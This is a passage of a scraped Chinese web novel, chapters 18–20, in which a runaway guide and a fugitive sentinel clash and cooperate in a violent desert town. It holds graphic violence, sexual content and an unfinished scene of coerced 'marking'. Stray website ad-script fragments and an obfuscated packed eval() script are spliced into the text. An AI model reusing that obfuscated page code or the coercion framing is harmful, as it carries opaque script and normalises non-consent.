'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 塔上塔下,主城下城,又是谁给划分的呢? 温述不明白这一切,所以他想亲眼看个明明白白! 但现在,因为这个逃犯哨兵的干预,自己得之不易的机会彻底泡汤了! 温述一捋头发,将发丝全都背到脑后,任水流冲走自己身上的泡沫。 偏偏哈桑又在门外叫嚷,“白——白九——” 温述啪地关了淋浴,给自己围了一条浴巾,唰一下打开了浴室门。 哈桑瞠目结舌,愕然地看着半身赤.裸的向导,随后极其轻佻地吹了声尾音上扬的口哨。 “还以为你是白斩鸡呢?没想到身材挺有料的,身上伤疤也不少。伤疤可是男人的勋章……” 温述随手扯了一条吸满水的毛巾砸过去,啪一声正中人脸。哈桑被糊了一脸有点蒙逼,完全没有想到温述直接冲了过来,骑在自己身上掐住了自己的脖子,十指收紧有动真格的架势。 哈桑想不到看上去性格温和好欺负向导会爆发出如此大的力气,完全忘了反制。 温述在他耳边恶狠狠地咬牙说:“你记住了,我们之间是国恨家仇的关系,不是能够插科打诨的关系!你忘记东部联合塔是怎么把你们打得屁滚尿流,声也不敢吱一个的吗?你觉得我们十万条人命的债能一笔勾销吗?你别忘了浮空岛的黑牢里还关着多少个像你一样的死囚!你没必要对我感兴趣,我也没必要对你客气!” 哈桑的脸色陡然阴沉下去,“你的意思是,我们要翻脸了?” 温述冷笑,“是啊!答应为你治疗就是我现在犯的最大的错误!” 哈桑突然用有力的双腿夹住温述的腰,一拧一压,用绝对的力量反制温述。而温述竟然冒着双手手腕被折断的风险,始终没有松开双手。 哈桑的脸色涨红,显然也并不好受。 现在温述并没有戴颈圈,他是真的抱着决一死战的想法冲出来的。他想明白了,他一个双相精神体S级,现在又处于全盛状态,而眼前这个逃犯精神域千疮百孔,感官神游更是如定时炸弹般随时可能爆发,实力大不如前。该怕的是哈桑,而不是他! 哈桑被锁住喉咙,但仍沙哑着狂笑,“想不到你是S级,看来我在服务区的时候就不该出手,你到底是什么人?” 温述眯起眼睛,“将死之人没必要知道那么多。” “你是逃出白塔的?等级是假的,身份是假的,恐怕脸也是假的!” “说这么多废话!现在要么你掐死我,要么我掐死你!” 哈桑如一只被挑衅的狮王,愤怒低吼,“你找死!” 就在此时,敲门声响起。 18. 吃硬不吃软 哈桑警惕地望向门外,“谁?” 温述也被吓了一跳,第一反应是追捕自己的人找来了。 两人对视着,浑身肌肉紧绷,警惕着对方的一举一动,一时间没有任何人动作。 敲门声再次响起。 这一次,哈桑率先放松了动作,从温述身上爬了下来,温述也松开了掐着哈桑脖子的手、 哈桑开口,“你去看看。” 温述此时才清晰地感受到自己手腕脱臼一般的疼痛,咬着牙吐槽哨兵的身体强度都是怪物。他仍保持警惕,先进了浴室找到颈圈戴上,才去开门。 温述先在猫眼里看了一眼,感到有些疑惑。 他推开门,一股浓烈的百合花香扑鼻而来,他看见了一个全身都包裹在白色麻料长袍里的女人。 这个女人十分美丽,甚至可以称得上过分美丽,肤色称不上白皙,是被风沙磨砺过的质感,但五官浓烈又精致,一双眼睛如同剔透灰琉璃,些许金发从头巾的缝隙间泄出,如碎金般闪亮。 绝对不是旅馆的服务员。 而且,她脖子上戴着颈带,显然是一名向导。 温述愣了愣,“小姐,有什么事吗?” 女人看见他也愣了愣,似乎本能地想要转身离开,但她很快察觉到房间里还有其他人,探头朝里看了一眼。 她指了指手中的花篮,问道:“先生,你要买花吗?” 温述低头,注意到了她撘在手腕上的篮子,篮子里果然装着数十枝娇艳欲滴的黄百合和白百合。温述出白塔后,看见的要么是被寸草不生的荒芜土地,要么是被污染后扭曲狰狞的变异植物,乍一看这几株在温室里精心培育的百合花,只感觉心旷神怡。 而且一个D级向导,在这荒蛮之地卖花,也挺不容易的。 温述动了心思,开口,“多少钱一枝,我买了。” 女人张了张红唇,似乎想说什么。一直在屋子里的哈桑倒是先开口了,他站起身,本就局促的双人间更显逼仄,低音炮在温述身后响起,“他不是问你买不买,他是问我买不买。” 温述迷惑地回头看向哈桑,“什么意思?” 哈桑环抱着双臂,斜斜倚靠在墙壁上,“小妞儿,你是真不知道还是假不知道啊?你没看出来她是个公用向导吗?卖花只是借口,你要是买了她的花,就要和她睡觉。怎么,你对向导也行?” 说完,他不怀好意地怪笑起来。 温述的面颊腾一下涨红。 他久居白塔,从未接触过这种事。偶尔看过几句,也不过是教科书上写的——“在某些向导资源匮乏的地区,允许向哨‘一对多’的情况发生”,“在特殊情况下,向导精神力难以支持精神梳理,可以使用肉.体代偿”。 卖花女看见两人住同一间房,而且全都衣冠不整地出现在门口,大抵推断出那个红色寸头的男人就是这名向导的哨兵。 果不其然,哨兵走上前去,结实的胳膊直接揽上了温述的脖颈,将向导带进了自己怀里。向导挣扎了两下,但是被哨兵健硕的胸肌糊得够呛,推半天没推开。 哈桑挑眉问道:“看不出来吗?我们都开一间房了,有点眼力见就不该问出那句话。” 卖花女弯起红唇,妩媚一笑,“我能看出他是E级向导,却看不出你的等级,我想你的伴侣应该满足不了你这么高等级的哨兵,所以……” 温述三观受到了冲击,脱口而出,“那不是3.P吗?!” 话刚说完,他就自知失言,捂住嘴巴。 哈桑用故弄玄虚的语气说:“这就受不了了?那你是没见过军营里那群……” 温述:“闭嘴。” 卖花女心知自己今天敲错了门,十分抱歉地对着两人道:“看你们感情这么好,我就不打扰了。” 温述连忙辩解,“我们不是那种关系……” 卖花女微微一笑,从花篮里挑选了一枝黄百合,递给温述,“算是我的赔罪,先生。” 黄百合映衬着女人姣好的容颜,温述愣了一下,接过花,“谢谢。” 温述看着卖花女提着花篮离去,他不知道她是否还会敲响另一个房门,问出同样的话,但这一切都不是温述能够干预的。 温述刚关上房门,哈桑就夺过了温述手里的花,“你还真是个不谙世事的公主。” 哈桑这句话用的是嘲讽语气,二人好不容易缓和的气氛又恢复到了剑拔弩张的局面。但问题来了,刚才两人一言不合要动手,却被人打断,现在是否还有打下去的必要? 错过时机,也没有了战意,似乎没必要打了。 温述回到卫生间,穿好衣服,一出来就迎上哈桑炽热直白的目光,“白九,你戴的是什么面具,为什么看不出痕迹,你真正的脸长什么样?” 温述冷哼一声,“我为什么要告诉你?” 哈桑继续道:“你在加油站是骗我的吧?你不是E级,精神力池也没空,那你现在能给我做梳理了吧?” 怎么可能?温述自认没有任何义务救治一个敌方战俘,哈桑一恢复,自己就遭殃了。 温述摸着下巴,“现在不行。” 哈桑不满,本就高耸的眉弓拧出一道深壑,“那要什么时候?” 温述回答:“看你表现。” 哈桑又用温述听不懂脏话骂了什么。 南边的通用语言温述是会一些的,但哈桑说的话带了浓厚的口音,导致温述一个单词也听不清。 温述道:“我们约法三章。” 哈桑闷声闷气道:“你说。” “第一,我可以帮你治疗,但你不能干涉我的任何决定,也不能干涉我的任何行动;第二,我不过问你的事,你也不能过问我的事……” “我都答应,第三条呢?” “第三,晚上睡觉,你老实点。” 哈桑似乎感觉自己被侮辱,猛地站起来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却又在温述的注视下一点点坐了回去,咬着后槽牙说:“我对你这张脸提不起一点性.趣。” 温述微笑,“最好如此。” 有些人,就是吃硬不吃软。 哈桑充分向温述证明了,对付这种刺头,好言相劝佯装弱势是没有用的。要么把他打服,要么让他看不清你的底细,不敢轻举妄动。 也多亏哈桑,对于白塔以外混乱土地的规则,温述也摸清楚了些。 哈桑还算有契约精神,真的不再骚扰温述。但温述清楚,哈桑的精神状态维持在一个岌岌可危的地步,稍一闭眼就会被精神雾霾笼罩,进而陷入无处可逃的梦魇当中。 将近凌晨三点的时候,温述起夜一次,就是为了观察哈桑的精神状况糟糕到了什么地步。 旅馆为了省本钱,完全没有考虑哨兵的身材去把床加长,导致哈桑即使斜着睡对角,也有一部分小腿耷拉在床外。 哈桑一手放在枕头下,一手紧紧攥着被子,额头满是汗珠,眉头紧锁,眼珠也在薄薄的眼皮下颤动。 温述伸出手,将手掌放在哈桑上方,探出精神力线。 几乎是精神力接触到哈桑精神域的瞬间,一声尖锐的爆鸣声就在耳边响起。 “温压弹!跑!”异国语言转化成温述能读懂的信息灌进脑海里。 炮火的轰鸣声、机.枪的扫射声,随着温压弹降下,士兵惊恐的惨叫声,无一不冲击着温述的大脑。温述眼前浮现出了他平生所见最为残酷的战场景象,无数断肢残臂,血沫横飞,无数士兵被温压弹蒸熟,或是窒息着痛苦死去。昏黑的大地上,却有更多人不计生死朝着火线冲锋。 他们无不高呼一个口号,“为圣殿的荣耀!” 画面已经远远超过了温述的承受能力,温述呼吸急促,胃液翻滚,立即收回精神力。 向导未经人允许,就窥视人的大脑是违规行为,被三课抓住是要判刑的,但哈桑在东部联合塔没有人权,温述大可肆无忌惮。 但他没有想到,看到的是这样一幅画面。 “圣殿……”,温述默念这两个字。 南部联合塔是一个宗教掌握实权的联合塔,文化、政治、经济都和东部联合塔迥然相异。在南部,向导不叫“向导”,叫“牧者”,哨兵不叫“哨兵”,叫“骑士”,们的中央高度集权,“领袖”几乎被架空,所有实权收归教廷。 听说他们的教廷还下设了一个叫什么“圣殿骑士团”的机构,里面个顶个都是万里挑一的顶尖哨兵,但战败后好几个“圣骑士”都被我军俘虏了。 哈桑难不成就是…… 就在此时,温述感受到掌心的异动,他还来不及反应,就感觉天旋地转,恐怖的力量卷着自己的腰身,将自己重重摔到床上。 哈桑一手牵制温述的双手举过头顶,一手隔着颈圈卡着温述的脖子,双眼赤红如困兽。 他哑着嗓子说:“你果然还是想杀我。” 19. 和平共处 温述低估了哈桑的警惕性,但转念一想,自己大半夜不声不响站别人床头也挺吓人的。更何况自己还出手窥探对方脑子里的隐私,于情于理都不站边。 他吃力地从喉咙眼里挤出来两个字,“误……会……” 哈桑的金色双瞳一眨不眨地盯视着他,手上的劲道却是渐渐松了。 浓郁的威士忌气息依旧包裹着温述,温述被这气味刺激得起了一身鸡皮疙瘩。然后他见哈桑的手在自己的颈圈上摸索,嘴里还在叨叨咕咕什么。 “哎——你干什么?” “你这玩意怎么打开?” 温述惊了,“指纹解锁你别乱动!” 幸亏这颈圈够坚固,刚才哈桑也掐的是颈圈上方的部位,要真他用大劲把颈圈弄坏了,温述不知道要上哪哭去。 “拆了这玩意能怎样!” 温述平躺在床上,摊开手淡淡道:“会自爆。” 哈桑郁闷地捶了一下墙,墙上几乎立即出现了一个圆形凹陷,温述估摸着退房时要赔钱了。 “你别忘了我们的约法三章。” 温述推开哈桑,要回到自己床上。 哈桑不干了,“明明是你先来骚扰我的!” 温述呵呵一笑,“约法里有我不许骚扰你这一条吗?” 哈桑瞪大眼睛,金色双眸中明晃晃写着三个字——“你耍我”。 “你们塔的向导都像你这么无赖吗?” 这不是贼喊捉贼吗?! 温述回到自己床上,钻进自己的被窝,由于困倦,硬板床此时也变得舒适起来。他闭上双眼,对哈桑说:“睡觉睡觉,再不睡天亮了。” 哈桑语气发冷,做了个切脖子的动作,提醒道:“下次我睡觉的时候,你最好不要站在我身边。” 温述无疑做了一个危险举动,他打搅了狮王的酣睡。 温述眼睛都没睁,“放心,不会有下次。” …… 接下来的两天里,温述和哈桑在塔依拉的相处比想象中和平。 唯一令温述的不满的是,这个大块头哨兵让他的花销直线上涨。 哈桑在吃到正常食物后,无论如何也不愿意用营养膏驯化味蕾。 在资源贫瘠的塔依拉,有机食物的价格堪比奢侈品,一袋健康管饱的营养膏只要1联合币,而一斤巨蜥肉要500联合币。 要喂饱一个身高近两米的师型哨兵,可想而知花销巨大。 更何况,哈桑每一餐必须荤素搭配,必须使用新鲜蔬菜。 补充一下,这里100g新鲜蔬菜平均要价1000。普通人补充纤维素,只能啃啃蔬菜粉和冻干蔬菜。 哪怕连喝水,哈桑都不愿意喝塑料瓶和塑料袋封装的。哨兵的敏感味蕾让哈桑无比嫌弃里面的塑料味,只喝那些花里胡哨的玻璃瓶包装,而后者均价是前者的五倍! 以上情况尚且可以忍耐,唯一的麻烦是温述不能让哈桑继续裸.奔。 而且哈桑的相貌太过独特,必须要做掩饰。 在温述的亲自挑选下,哈桑憋屈地换上了他的新衣服。 一身露肤度极低的亚麻布长衫从肩头垂下,宽大的兜帽遮住了他过于显眼的红发和异域面孔。为了遮住过于高挺的鼻梁,温述还给他多配了一副面罩。 整套着装防尘防晒防暴露,几乎掩盖了一个人所有的特点。 温述挑选是觉得很满意,但哈桑穿着这身走出去,温述怎么看怎么觉得不对劲。 风一吹,温述甚至能数清他衣服下的八块腹肌。猿背蜂腰腿长,若非逃犯,看上去倒更适合去走秀。 哈桑对温述追求低调的心态嗤之以鼻,“妞儿,我说句实话,你与其想方设法改造我,不如看看你自己。” “怎么说。” “你的气质太纯良了,一张假脸能盖住个屁。” 就在此时,他们身后响起了强烈的撞击声,两人回头一看,只见一辆无人车一头撞进了刚才他们消费过的服装店里,玻璃窗碎了一地。 哈桑指了指那个方向,“妞儿,白塔之外,这才是常态。” 只听轰隆一声,无人车内的炸.弹被远程引爆,整间店铺瞬间成了火海。两边的商贩惊恐逃离,浑身着火的店员和顾客尖叫着从店里抛出。洒着红色阻燃剂的无人机很快到来,但治安队却姗姗来迟。 温述随便扯了个看热闹的路人询问情况。 路人指了指着火店铺对面的店铺,淡定道:“还用问吗?当然是因为商业竞争,对面老板把对手一波送走了呗!” “治安队不管吗?” 路人上下扫了他一眼,质疑道:“你不是本地向导吧?治安队什么时候管过民事纠纷?” 你管这叫民事纠纷?! 温述凌乱地看向哈桑,“这和我的认知……很不一样。” 哈桑嗤笑一声,很是不屑道:“你管你们塔教的那个叫认知?” 不是低调不低调的问题。 在这个地方,就连汽车炸.弹当街爆炸都不会引起多少路人注意。 一眼扫过去,浑身铆钉装饰,梳着莫西干头,穿着奇装异服的大有人在。 反而那些穿着中规中矩,一眼纯良的老实人,会成为被骚扰和打劫的对象。 温述觉得自己悟了。 他们所站的地方被爆炸后产生的气浪波及,温述得换个地方站着聊天,于是他带着哈桑走进了另一家店里,“这回你说得很有道理,我可能需要换一身行头。” 半小时后,哈桑看着改头换面的温述走出试衣间。 他犹豫半晌,才评价道:“感觉你下一秒就会提着机.枪冲进人群扫射。” 温述戴上了足以遮住大半张脸的护目镜和风帽,回复道:“多说一句,扣你一顿饭。” 东部联合塔与南部联合塔之间是一片广袤的沙漠无人区,其间不仅存在沙盗威胁,更可怕的是潜伏在沙海之下的幢幢鬼影。 温述和哈桑的目的地都是南部联合塔,但就算时间再吃紧,他们也要老老实实地等待两座联合塔之间的“渡轮”。 最近的一艘在三日后出发,在这之前,他们几乎无事可做。 两天里,二人几乎走遍了塔依拉。 第一天他们去附近的沙漠里挖化石,温述意外地挖到了某种远古鱼类化石,惊异于这片干旱的沙漠竟曾是一片汪洋。哈桑也不知哪里来的门路联系到收购商,温述卖了化石还小赚一笔。 第二天,他们把钱花在了防空洞市场,夜场和红灯区的脱.衣舞秀上。 红紫交替闪烁的霓虹灯下,温述这辈子第一次看见双性.人摇着大鸟,身后夹着电动狐狸尾巴在他身前晃。 他的眼睛不干净了! 台上的双性人咬唇朝他抛了个媚眼,温述一口可乐呛进嗓子眼里,哈桑幸灾乐祸地大笑。 “妞儿,你不会还没成年吧?居然点无酒精饮料!我穿纸尿裤的侄子都比你能喝。” 温述努力控制自己的视线,让自己的目光不要和台上的小鸟们对上。 声音太过嘈杂,他只能用喊的,“那是因为我精神状态不稳定,如果醉酒无法控制感知,我会听见所有人的心声,到时候我的脑子会炸掉!” 哈桑举着威士忌靠近,“那么你现在也能听见喽?” 温述点头。 “你能听见我在想什么吗?” 温述刚想回答我现在E级怎么可以穿过你一个S级的精神壁垒,然而精神力线下意识地探入,温述吓了一跳。 哈桑打开了他的精神壁垒! 无视一切潜在风险,对着一个不明底细的向导,打开了他的精神壁垒。 在温述的眼底,灯红酒绿的夜场瞬间被磅礴浩大的精神域景象覆盖。 他一时间惊叹到说不出话来。 那是一个极度混乱无序的世界。 华美的金色宫殿,门庭庄严,金碧辉煌,浩大无界。然而这座宫殿天地倒序,亭台颠倒,每一块梁柱,每一阶台阶,都如儿童极尽想象力拼出的积木般错乱奇异,就连庭院中的名贵树木,都连同着根系漂浮起来,温述身处其间,根本分不清哪里是天哪里是地。 鬃毛燃火的黄金狮卧在宝剑与荆棘编织成的王座上,睁着黄金双瞳俯视温述。 它在邀请他,来到它的世界。 当秘境的谜底过于诱人,整个精神域就变成了网罗温述渺小精神的庞大陷阱,温述不敢沉溺其中,猛地抽回精神力线,捂着胸口急速喘息。 “你听到我在想什么了吗?” 温述张了张嘴,差点脱口而出,但是理智把那句话憋回肚子里。他摇了摇头,猛灌了一口可乐。 哈桑喝着酒笑了笑,没有追问,而是把视线投在一旁的表演上。 逃过了吗? 温述可一点也不想回答这个问题。 之后哈桑喝得烂醉如泥,但所幸不需要温述搀扶,靠着温述指路自己也能扶墙走回去。 夜半时分,温述实在过于好奇哈桑那诡异的精神域场景,摘了项圈试图用S级微操一探究竟。 然而一秒钟后,温述怀疑哈桑根本没有喝醉。 另外哈桑提醒温述不要在睡觉的时候打扰他,是合理的、明智的、正确的。 第三天清晨,温述被一声巨响惊醒,于热浪中睁开眼。 昨夜的狂乱还残留在身体里,他勉强拖着自己的身子下床在窗边看了一眼,发现窗外晴空万里。明亮的太阳让他认知错乱,恍惚以为他还身处圣所,但接下来的事很快认清了现实。 小旅馆楼下半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 死不活地躺着个人,半边身子都烂了,人下边是一个四分五裂的大坑。一群雇佣兵乌泱泱地围上来把人拖走,嘴里嚷着,“私人恩怨,全都散开啊!” 巡逻队的哨兵就站在十几步远的地方,眼观鼻鼻观心,当什么也没看见。 两架无人机已经飞过来洒水清理血迹,聚堆看热闹的人也散开了。 这就是,塔外的世界。 他右手摸上扣住自己脖颈的项圈。指尖探入项圈,摸到缠绕着脖子半新不旧的白色绷带,再向后移,摸到了向导最为敏感的腺体部位。 滚烫,微凸,在他指尖下跳动。 甫一按压后颈那个微微凸起的腺体,温述的整个身体就剧烈颤抖了一下,呜咽了一声后瘫倒在床上。 他紧张地回头一看,发现哈桑早已不见踪影。 温述对他去了哪里不感兴趣,并庆幸他没看到自己的窘态。 温述进了卫生间,解开颈圈,拆了旧绷带。 后颈的伤口早已痊愈,但哈桑五指留下的抓痕分外刺眼。 温述洗去自己一身信息素味,又自力更生简单处理了伤口,拿出两支针剂给自己静脉注射。 一支是信息素伪装剂,让他的浑身逸散的乌龙茶香变成艳俗的玫瑰香气。 一支是强效信息素抑制剂,瞬间安抚了他躁动的腺体。 拾掇完之后,他缠上新绷带遮盖淤青,胃袋适时发出响亮的哀鸣。 温述刚下楼,就被浓烈的烟味、汗味、脚臭味熏得眼泛泪光。他一眼扫去,旧沙发上挤满了无所事事的闲人,吞云吐雾的普通人居多。 有三名哨兵在场,但他们明显地游离在人群之外,普通人也谨慎地和他们保持距离。 旅馆的电视上正在放早间新闻,但大多数人的注意都不在女主播字正腔圆的播报上。 “5月11日5时03分,燧人塔南部海域发生7.1级地震,震源深度为10千米,根据全球海底大地震近实时震源机制解反演结果,此次地震是一次逆断层地震事件……距离震中较近的乡镇有较强震感……自然资源部发布红色海啸预警,地底运动极有可能引起玻璃种大规模暴动,请沿岸居民注意避险……” “中央白塔首席向导李燮莅临盘古塔,就将于5月底就战后‘人质问题’与南部联合塔代表进行会谈,李燮首席表示,将为争取人质获释付出一切努力……” 李燮斯文俊秀的脸在镜头前一晃而过,人堆里马上响起了轻浮的口哨声。 一名哨兵道:“玛德老子要能睡这种高级货一回,这辈子都值了!” 听见这句话,温述的脸轻微抽搐了一下,竭尽全力才把绷不住的嘴角压下去。如果没记错,前两个月他才参加了李老爷子的六十六大寿。 但高级向导就是这样,只要不说,没人分得出你二十六还是六十六。 但马上有哨兵帮他回怼了回去,“想屁吃呢!像这种塔上的向导和我们都有生殖隔离,根本就不是一个物种!” “塔上的高官不会下来的,你就梦里想想吧!” 哨兵们的注意很快被其他的新闻吸引。 听了几则跟自己八竿子打不着的新闻,温述暗暗舒了一口气。 三天了,中央白塔果然没有将自己失踪的新闻放出来,这种丑闻,总得藏着掖着,暗中寻人。 哈桑越狱的新闻同样也没有放出来,可能是为了避免引起不必要的恐慌。 就在此时,有人按了遥控器,一本正经的新闻播报画面一转。 “看的劳什子玩意儿?没劲!” 咿咿呀呀的男女呻.吟声响起,屏幕上白花花一片。 牛批,真大早上看片啊! 室内的气氛顿时火热起来。 而温述此时也注意到,几道不怀好意的目光粘在自己身上。 是刚才起哄的三名哨兵,他们穿着磨损严重的制式皮衣,周身散发着一种硝烟和烟草混合的刺鼻气味,看样子是属于某个私人组织的雇佣兵。 其中留着络腮胡子的一人挪动了位置,像嗅到肉味的鬣狗,大手拨开几个人,目光不老实地逡巡在温述屁股后,“小妞儿,扭扭屁股!” 温述一个侧身躲开,指尖银光一闪。 络腮胡登时感觉自己胯.下一紧,只见一把锋利的蝴蝶刀已经抵在自己脐下三寸,但他显然把向导没当回事,手上还不老实。 既然如此,温述也不客气了,刀光一闪,哨兵当场遛鸟。 周围马上响起了此起彼伏的口哨声和起哄声,甚至盖过了H片的声音,“辣妞!” “够劲儿!” “……” 在众多起哄声中,温述捕捉到了一个熟悉的声音,他向门口看去,果然看见哈桑正抱臂看着自己,轻佻地吹了一声口哨。 20. 强行标记 温述收回目光,恰好看到络腮胡恼羞成怒,高高扬起巴掌正要落下来。 温述拧眉刚要躲,就看到一只大掌抓住了络腮胡的胳膊。 那双手五指修长,掌心宽厚,手背凸起的筋络清晰可见。那是一双习惯了握枪的手。 当哈桑收紧五指的时候,温述甚至能听到他掌下骨骼被碾压发出的咯咯响声。 温述毫不怀疑只要哈桑继续用力,络腮胡将失去他的胳膊。 温述扯了扯哈桑的衣襟,“我没事,不要惹事。” 络腮胡浑身颤抖,显然在用尽全身力气与哈桑抗衡。他满头大汗地看向哈桑,脸上已经浮现出惊惧后悔的神情。 他颤抖着声音求饶,“放……手。” 他的同伴也在替他求情,“我们有眼无珠真没想到这向导是有主的,哥们儿我们给你下跪认错行不行?” 哈桑连一个眼神都没留给他们,熔金般的双眼看向温述,“他用哪只脏手碰你了?” 温述犹豫了一下。 络腮胡慌忙求饶,“没碰到,没碰到!” 温述飞快微笑了一下,又把笑容收回去,对哈桑说:“两条,都卸了。” 哈桑没有手下留情,五指一掰像掰一块苏打饼干似的把对方的胳膊掰折了,换另一条,又咔吧一声把另一条掰折了。 络腮胡顿时发出了杀猪般的嚎叫,他身边的两个哨兵见同伴受伤,却屁也不敢吱一声。 哈桑仅仅是眉弓压低,睨了他们一眼。 在铁塔似的哈桑面前,所有人都像毛没长齐的小鸡仔。 络腮胡两条手臂软绵绵地垂下来,早被哈桑吓得屁滚尿流,就差跪下来给温述磕头了。 “我错了!再也不敢了!咱这也不知道这是小哥你有主了……要是事先知道,给我一百个胆子我也不敢干这事儿啊!” 哈桑直接伸脚把络腮胡扒拉到一边,不让他对温述聒噪。他高大的身躯挡在温述面前,让温述看不见那络腮胡的丑态。 他沉声道:“吃饭去,饿。” 恰巧温述也饿,他点点头,仰头对哈桑微笑,“好。” 他直接挽上了哈桑的胳膊,和他一起走出旅馆。临走前,他不忘礼貌地回头对众人微笑致歉。 络腮胡哨兵的两个同伴见哈桑走远,才敢把络腮胡从地上拉起来去治疗。 断胳膊断腿对哨兵而言算不上重伤,但他们可是刀口舔血为生的佣兵,断了手没法摸枪,而且在伤愈之前,他无法继续接任务赚赏金。 他们哥几个平日欺男霸女的事没少做,但常在河边走哪有不湿鞋,今天算是踢上铁板了。 他们想破脑袋也想不明白这姿色平平的E级向导是怎么勾搭上的高级哨兵,这高级哨兵还挺宠他的样子,当众给他出风头。 晦气! 温述一踏出旅馆门,就感到滚滚热浪袭来,紫外线炙烤肌肤,带来针刺般的痛感。 这里的建筑大多为土黄色夯土堆砌,异域风格强烈,甚至有点南部联合塔的调调。但由于饱受异种入侵和恐怖.袭击侵扰,所有的建筑都是灰头土脸的战损风格,每一个顶楼狭小的窗口都可以充当瞭望口和狙击口。 除了土就是砖,视线所及一片干燥而萎靡的枯黄。 街道两旁有颓萎蜷踞在角落的人,看向温述的眼神也是警惕的、麻木的、不怀好意的。 但碍于哈桑的存在,没人敢动歪心思。 “刚才在旅馆里,你为什么没阻止我?” 温述反问:“为什么阻止你?” “我以为你不喜欢。” “不喜欢什么?” “还能不喜欢什么?不喜欢流血,不喜欢受伤,看到断胳膊断腿就要吓得缩成一团嘤嘤哭。” 温述一时无语,他没想到自己在哈桑眼里是这么个形象,气得直接给了他一杵子,“一流氓踹他一脚他能老实?他下一次只会继续不长记性贴过来,与其这样不如让他长点记性,给他点苦头吃。” 哈桑扑哧一声笑了,举起双手道:“是我说错了,妞儿你心够狠。” 两人在大街上找了半天,才找到一家提供哨兵餐食的餐馆。 塔依拉资源贫瘠,餐馆没有菜单,大多数时候都是店里有什么,老板上什么,顾客就得吃什么。 由于哨兵味觉敏感,他们的饭菜最多放一点盐调味,温述见得最多的就是大块大块的白煮巨蜥肉和白煮巨蜥蛋。 而这一盆白煮肉一端上来,就遭到了哈桑的嫌弃。 肥肉大块,瘦肉干柴,乳白色的汤里浮着一层油花,看着就没有食欲。而温述的是大饼夹肉,肉里掺着切得细细的青红辣椒丁,一眼看上去就让人食指大动。 当然,就算是如此简单的食物,也价格不菲。 温述没有忘记哈桑挑剔的饮食习惯,掏出一袋蔬菜冻干粉推到他面前,“你将就将就,最近手头紧。” 哈桑把自己的水煮肉推到一边,“我要吃你的。” 温述把水煮肉拉回来,“不行,你乱吃东西舌头疼别怪我。” “你是向导可以调控我的味觉。” 温述想到了李铭钺被辣哭的脸,心虚道:“我不会。” “我已经迁就你两天了,不逼你做梳理也不逼你做调控,我认为我已经表示了足够的尊重。” “我是真的不会。” 哈萨只觉得是温述在糊弄自己,声调提高,“你连味觉调控都不会,当什么向导?” 温述不乐意了,“你和向导缔结契约,就是让他给你调控味觉的吗?” 哈桑一把将水煮肉推过去,“他们也就这点用处了。” 温述的也有点发火,不只是哈桑,他还见过许多哨兵存在这种心理,不服自己因哨兵的本能被向导素控制,认为向导只会拖后腿。 但他这几天也摸清了哈桑的性子,知道他是对自己的火气在先,在故意刺激自己,心里不一定这么想。而且昨晚的针锋相对过去了,现在本应是安宁的早饭时光,温述身子骨还发懒,实在不想刺激这头野兽。 他用筷子插了一块肉,递给哈桑,好言相劝:“哈桑,你怎么说曾经也是个军人,你应该懂得向导不是你泄欲的工具,也不是任哨兵挑选的摆件,他们是与你并肩作战的战友!” 哈桑不接肉,冷漠道:“可在我们联合塔,‘牧者’就是被圈养的工具。” 南部联合塔管“向导”叫“牧者”,“牧者”的地位与他们带有神性的名字截然相反,甚至可以说,他们根本就是“骑士”的性.奴。 温述第一次感受到文化差异的冲击,默默收回了一块肉。 哈桑还在继续输出,“从数据上看,我们向导的阵亡率远低于你们。在死亡面前,尊严能值几个钱?你们嘴上说着荣誉,还不是被忽悠着去填战壕。” 温述举起手,叫来了餐馆老板,“老板,这份餐我们没吃过,退了吧。” 哈桑一愣,“那是我的饭!” 温述低头啃自己的饼,“我的钱,我买的饭。心情不好,不想给你吃。” 因为被温述克扣早饭的缘故,哈桑浑身气压极低,唇线锋利的嘴角下拉,金色的眼睛里也燃烧着暗火。 温述刚吃饱喝足,就被哈桑强硬地拉着手腕往前走,硬生生被拉进了一处无人的小巷子里。 土楼撇下的阴影没有使热辣阳光照在皮肤上的焦灼感没有减轻,反而经由粗粝土墙积压,变成了一股让人胸闷气短的干燥热浪。连风刮在脸上,都像有火燎过的刀子在割。 在这种天气下,人很容易就会感到暴躁。 也更容易擦枪走火。 两天以来的和平终于被打破。 哈桑有些粗鲁地将温述甩到墙上。他收了力道,导致温述除了事发突然的怔愣,没有感到任何疼痛。 温述一抬头,哈桑的身体就欺压而上,将他堵在墙和双臂之间,用狮王逡巡领土的眼神扫视温述的面颊。 低沉的声音使温述的耳膜共振。 “温述,东部联合塔的向导都和你一样吗?” 温述同那双金灿灿的眼眸对视,心里发慌,但竭力保持声音平静,“我感觉都一样。” 两只眼睛一张嘴,按部就班地被圣所培养长大,统一通过合格性筛查,吃同一个食堂交同一份作业,甚至传道授业的老师都是数十年雷打不动的同一个。他们本质上没有区别,都是流水线统一作业的产物。 哈桑呲呲笑了两声,“那我今天让你变得不一样好不好?” 身体的危险雷达报警,温述浑身汗毛倒竖,本能感觉狗嘴里吐不出象牙,而哈桑接下来说出的话,会对自己的人身安全产生威胁。 “你干什么!” 哈桑的一只手握住温述的肩颈,粗糙的大掌衬托得温述脖颈纤细,蓝色的经络从薄薄的一层皮肤下透露出来,仿佛轻轻一按就会汁浆迸出。哈桑犹豫了一下,竟然不敢用力。 但转念一想自己这两天竟然在这个小向导面前讨不了一点好,哈桑的语气就恶劣下来,“你们东部联合塔的向导,没有哪个是被南部的哨兵标记的吧?” “你想干什么?” “与其吃你手指缝里漏出来的,不如让我自己去拿!” 浓郁的威士忌信息素以哈桑为中心爆发开来,这威力就像直接往地上扔了枚炸弹,汹涌的信息素瞬间霸占了温述的感知器官。 不妙的是,并非普通的信息素,其中掺杂了某些诱发向导结合.热的成分,这是哨兵求爱的信息素! 温述的腰腿几乎瞬间就软了,他没有料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 